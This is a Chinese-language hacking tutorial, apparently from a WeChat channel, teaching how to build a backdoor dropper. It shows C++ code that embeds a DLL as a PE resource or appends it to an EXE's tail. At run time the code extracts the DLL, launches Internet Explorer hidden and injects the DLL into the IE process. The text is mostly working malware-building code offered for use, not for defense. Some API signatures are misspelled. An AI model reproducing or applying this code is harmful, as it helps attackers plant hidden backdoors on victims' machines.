一次性进群,长期免费索取教程,没有付费教程。
教程列表见微信公众号底部菜单
进微信群回复公众号:微信群;QQ群:16004488
微信公众号:计算机与网络安全
ID:Computer-network
在黑客程序编写过程中,如果想实现一次上传多个文件,就是要对“多个文件编程一个文件”技术对文件进行设置。该项技术的实质是在编译时先把多个文件整合成一个文件,运行后释放原来整合的文件到相应的目录中,最后程序才执行自身功能。如对于一个DLL文件和一个EXE文件,可以先将DLL文件包含在EXE文件中,一旦EXE程序运行就把包含的DLL文件释放到相应的目录中,DLL文件又可被正常调用了。
一、资源法生成文件
在资源法中涉及的资源是指PE文件中的资源。计算机上任何以文件形式存在的数据都可以看成资源包含在PE文件中,如图片、声音、视频等。这些资源可以在载入内存运行时被自身访问、修改。在一般情况下,资源会被包含在名为.rsrc的预定义段中。
这里以插入进程的后门为例介绍如何利用资源法生成文件。由于该后门包含一个EXE文件和一个DLL文件,现在需要在EXE文件编译时,把DLL文件作为其资源一起编译。待编译完成后,DLL文件就会以PE资源的形式包含在EXE文件中。
在编译之后,在EXE文件的工程中也需要添加新的代码,而且这些代码必须在EXE程序调用DLL文件前开始执行,这是因为添加的代码作用是把资源导出成为一个DLL文件。其具体实现过程如图1所示。
图1 使用资源法生成文件的过程
从上图不难看出,需要先将DLL文件以资源的形式包含在EXE文件中。在Microsoft Visual C++窗口中的工程根目录下创建一个名为resource.h的文件,再在该文件中添加相应的代码,如图2所示。
图2 在Microsoft Visual C++窗口创建文件
添加的代码如下:
#define RC_DLL 256
#define ID_BACKDOOR_DLL 100
再在工程根目录下新建一个res.rc文件,并添加如下代码:
#include "resource.h"
ID_BACKDOOR_DLL RC_DLL BackdoorDll.dll
其中各个字段的含义如下。
RC_DLL:表示资源类型。
D_BACKDOOR_DLL RC_DLL:是资源的ID号。
Backdoor Dll.dll:是以资源形式包含在EXE文件中的DLL文件名。
在完成操作之后还需将BackdoorDll.dll文件复制到工程根目录中,并修改相关工程文件,即让工程包含res.rc和resource.h两个文件。因为resource.h是头文件,所以只需要在InjectDll.cpp文件中添加包含resource.h头文件的#include"resource.h"代码即可。如果想让工程包含res.rc文件,则可以在Microsoft Visual C++窗口中右击InjectDll files,在快捷菜单中选择“添加文件到工程”选项,即可打开“插入文件到工程”对话框,如图3所示。在其中选择刚创建的res.rc文件之后,单击“确定”按钮,即可将该文件添加到工程中。
图3 “插入文件到工程”对话框
在编译之后不难发现,EXE文件比原来的大了很多,这是因为DLL文件以资源的形式被包含进去了。这样,把DLL以资源的形式包含在EXE文件中就完成了。
下面来介绍几个与资源操作相关的API函数,在把资源导出为DLL文件时会用到这些函数。
1、FindResource
FindResource函数是用来确定指定模块中指定类型和名称的资源所在位置。
该函数的具体格式如下:
HRSRC FindResource(
HMODULE hModule,
LPCTSTR lpName,
LPCTSTR lpType);
其中各个参数的具体含义如下。
hModule:处理包含资源的可执行文件模块。NULL值则指定模块句柄指向操作系统通常情况下创建最近过程的相关位图文件。
lpName:指定资源名称。
lpType:指定资源类型。
如果参数lpType或lpName的高字节为0,则其低字节中所给定的资源的类型或名称标识说明。另外,这些参数指向以NULL为终止符的字符串。字符串的第一个字符是#,后面的字符用十进制数来表示源类型或名称的整数标识符。例如。字符串“#158”表示整数标识符158。如果该函数运行成功,则返回值为指向被指定资源信息块的句柄。如果函数运行失败,则返回值为NULL。
2、LoadResource函数
LoadResource函数的作用是装载指定资源到全局存储器。该函数的具体格式如下:
HGLOSAL LoadResouare(
HMODULE hModule,
HRSRC hReslnfo);
其包含的各个参数的具体含义如下。
hModule:处理包含资源的可执行文件的模块句柄。若hModule为NULL,系统从当前过程的模块中装载资源。
hReslnfo:将被装载资源的句柄。必须由函数FindResource或FindResourceEx创建。
如果该函数运行成功,返回值是相关资源的数据的句柄。如果函数运行失败,返回值为NULL。
3、LockResource函数
该函数锁定内存中的指定资源,即返回资源在内存中的地址,通常和GlobalUnlock(解除内存中的指定资源)函数一同使用。具体格式如下:
LPVOID LockResource(HGLOBAL hResDate);
该函数只包括一个hResDate参数,指向被装载的资源的句柄,由函数LoadResource返回。如果该函数调用成功,则返回值是资源第一个字节的指针;否则为NULL。
4、SizeofResource函数
该函数的作用是返回指定资源字节数大小。如果该函数运行成功,则返回值资源的字节数。如果函数运行失败,返回值为0。
其具体格式如下:其中包含参数的具体作用如下。
DWORD SizeofResource(
HMODULE hModule,
HRSRC hReslnfo);
hModule:包合资源的可执行文件模块的句柄。
hReslnfo:资源句柄。此句柄必须由函数FindRes-ource或FindResourceEx来创建。
在了解几个与资源操作相关的函数后,就可以将资源导出为文件形式。在C++编程中,其具体实现流程如图4所示。
图4 将资源导出为文件的具体流程
从中不难看出,将资源导出为文件的过程其实就是调用几个API函数的过程。可以将整个过程封装为一个ResourceToFile函数,该函数的具体内容如下:
void ResourceToFile(char *filename,char *Name,char* Type)
{
HRSRC hRes = FindResource(NULL,Name,Type); //寻找自身进程中的资源
if(hRes==NULL)
return;
HGLOBAL hgRes = LoadResource(NULL, hRes); //导入资源
if(hgRes==NULL)
return;
void *pRes = LockResource(hgRes); //锁定资源
if(pRes==NULL)
return;
DWORD size = SizeofResource(NULL, hRes); //得到资源字节数
if(size==0)
return;
HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0); //创建文件
if(hFile==INVALID_HANDLE_VALUE)
return;
DWORD dwWrite;
if(!WriteFile(hFile, pRes, size, &dwWrite, 0)) //把资源写入文件
return;
CloseHandle(hFile); //关闭文件句柄
GlobalFree(hgRes); //释放资源
}
ResourceToFile函数中的filename函数是指要创建的DLL文件名;Name参数是资源名;而Type参数是资源类型。在函数在WinMain函数中的调用方法如下:
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
char Path[256];
char DllPath[256];
GetSystemDirectory(Path,sizeof(Path)); //得到Windows系统路径
Path[3]=0x00; //0x00截断字符,得到盘符
strcat(Path,"Program Files\\Internet Explorer\\iexplore.exe");//得到IE带路径文件名
WinExec(Path,SW_HIDE); //启动IE,为了防止系统中没有IE进程
Sleep(2000); //暂停2秒,等待IE启动
DWORD Pid=GetProcessID("iexplore.exe");//得到IE进程
GetCurrentDirectory(sizeof(DllPath),DllPath); //得到程序自身路径
strcat(DllPath,"\\BackDoorDll.dll");//得到DLL带路径的文件名
ResourceToFile(DllPath,MAKEINTRESOURCE(ID_BACKDOOR_DLL),MAKEINTRESOURCE(RC_DLL));
//把资源导出为DLL文件
InjectDll(DllPath,Pid); //注入IE进程
return 0;
}
其中MAKEINTRESOURCE是一个宏,用于把整型数据转换为字符串型数据。
二、附加文件法生成文件
附加文件法是在EXE文件尾部写入DLL文件的数据,当EXE运行时就创建一个DLL文件,读取自身文件尾部的DLL内容,并把这部分数据写入要创建的DLL文件中。附加文件法也是一种生成文件的方法。
仍然以插入远程进程的后门为例介绍如何使用附加文件法生成文件。要想使用附加文件法,需要将一个EXE文件和一个DLL文件整合成一个文件,当该文件被载入内存开始运行时就把DLL导出为独立文件。其具体实现过程如图5所示。
图5 附加文件法生成文件的过程
可以将这个过程分为整合文件和导出文件两个步骤:利用外部程序把DLL文件中的所有数据写入EXE文件的末尾,将两个文件合并成一个文件。而在程序运行后,需要将DLL文件部分导出为独立的DLL文件。如果想实现这一功能,则必须在EXE文件调用DLL文件前,通过读取自身文件尾部的DLL部分,把读到的数据写入新建的DLL文件中。
下面介绍整合文件部分,先以只读方式打开DLL文件、以只写方式打开EXE文件;再利用SetFilePointer函数将EXE文件的指针移动文件的尾部;需从DLL文件中读取设置的字节数,如2500字节;将读取到的字节写到EXE文件尾部,具体实现过程如图6所示。
图6 文件整合的具体过程
从中可以看出,程序会反复读取DLL文件,每次读取设置的字节数,并且把读到的数据写到EXE文件的尾部。如果读到的实际数据少于设置的字节数,则表明DLL文件已被读到末尾,此时只需把这次读到的数据写入EXE文件即可完成EXE文件与DLL文件的整合。
其实现代码如下:
#include "stdafx.h"
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
HANDLE nhFile=CreateFile(argv[1],GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); //只读方式打开DLL文件
if(nhFile==INVALID_HANDLE_VALUE)
{
printf("CreateFile error\n");
return 0;
}
HANDLE shFile=CreateFile(argv[2],GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); //只写方式打开EXE文件
if(shFile==INVALID_HANDLE_VALUE)
{
printf("CreateFile error\n");
return 0;
}
//把EXE文件的指针移动到文件末尾
if(SetFilePointer(shFile,0,NULL,FILE_END)==-1)
{
printf("SetFilePointer error\n");
return 0;
}
char buff[2500]={0};
DWORD dwRead;
DWORD dwWrite;
while(1)
{
if(!ReadFile(nhFile,buff,2500,&dwRead,NULL)) //每次读取2500字节
{
printf("ReadFile error\n");
return 0;
}
//读到的实际值小于2500字节
if(dwRead<2500)
{
if(!WriteFile(shFile,buff,dwRead,&dwWrite,NULL)) //写入实际读到的字节数
{
printf("WriteFile error\n");
return 0;
}
break; //跳出循环
}
//写入读到的2500字节
if(!WriteFile(shFile,buff,2500,&dwWrite,NULL))
{
printf("WriteFile error\n");
return 0;
}
}
printf("合并文件成功\n");
//关闭文件句柄
CloseHandle(shFile);
CloseHandle(nhFile);
return 0;
}
其实导出文件和整合文件的过程非常相似,先以只读方式打开自身文件;使用CreateFile函数创建一个DLL文件,并把文件指针移动到EXE文件中的DLL部分;读取设置字节的数据,再将其写入创建的DLL文件中。其具体实现代码如下:
GetModuleFileName(NULL,szName,256); //得到自身文件名
HANDLE shFile=CreateFile(szName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL); //只读方式打开自身文件
if(shFile==INVALID_HANDLE_VALUE)
{
printf("CreateFile error\n");
return 0;
}
HANDLE hFile=CreateFile(DllPath,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL); //创建DLL文件
if(hFile==INVALID_HANDLE_VALUE)
{
printf("CreateFile error\n");
return 0;
}
if(SetFilePointer(shFile,- 50125,NULL,FILE_END)==-1) //移动文件指针到DLL部分
{
printf("SetFilePointer error\n");
return 0;
}
char buff[2500]={0};
DWORD dwRead;
DWORD dwWrite;
while(1)
{
if(!ReadFile(shFile,buff,2500,&dwRead,NULL)) //读取2500字节
{
printf("ReadFile error\n");
return 0;
}
if(dwRead<2500)
{
if(!WriteFile(hFile,buff,dwRead,&dwWrite,NULL)) //写入实际读到的字节数
{
printf("WriteFile error\n");
return 0;
}
break;
}
if(!WriteFile(hFile,buff,2500,&dwWrite,NULL)) //写入读到的2500字节
{
printf("WriteFile error\n");
return 0;
}
}
CloseHandle(hFile);
CloseHandle(shFile);
其中,if(SetFilePointer(shFile,-50125,NULL,FILE_END)==-1)中的50125是DLL文件的大小,指针就移动到EXE文件中的DLL文件部分了。在“命令提示符”窗口中只要运行“EXE文件名DLL文件名合并后的EXE文件名”命令,可以实现两个文件的整合,如图7所示。
图7 成功整合文件
微信公众号:计算机与网络安全
ID:Computer-network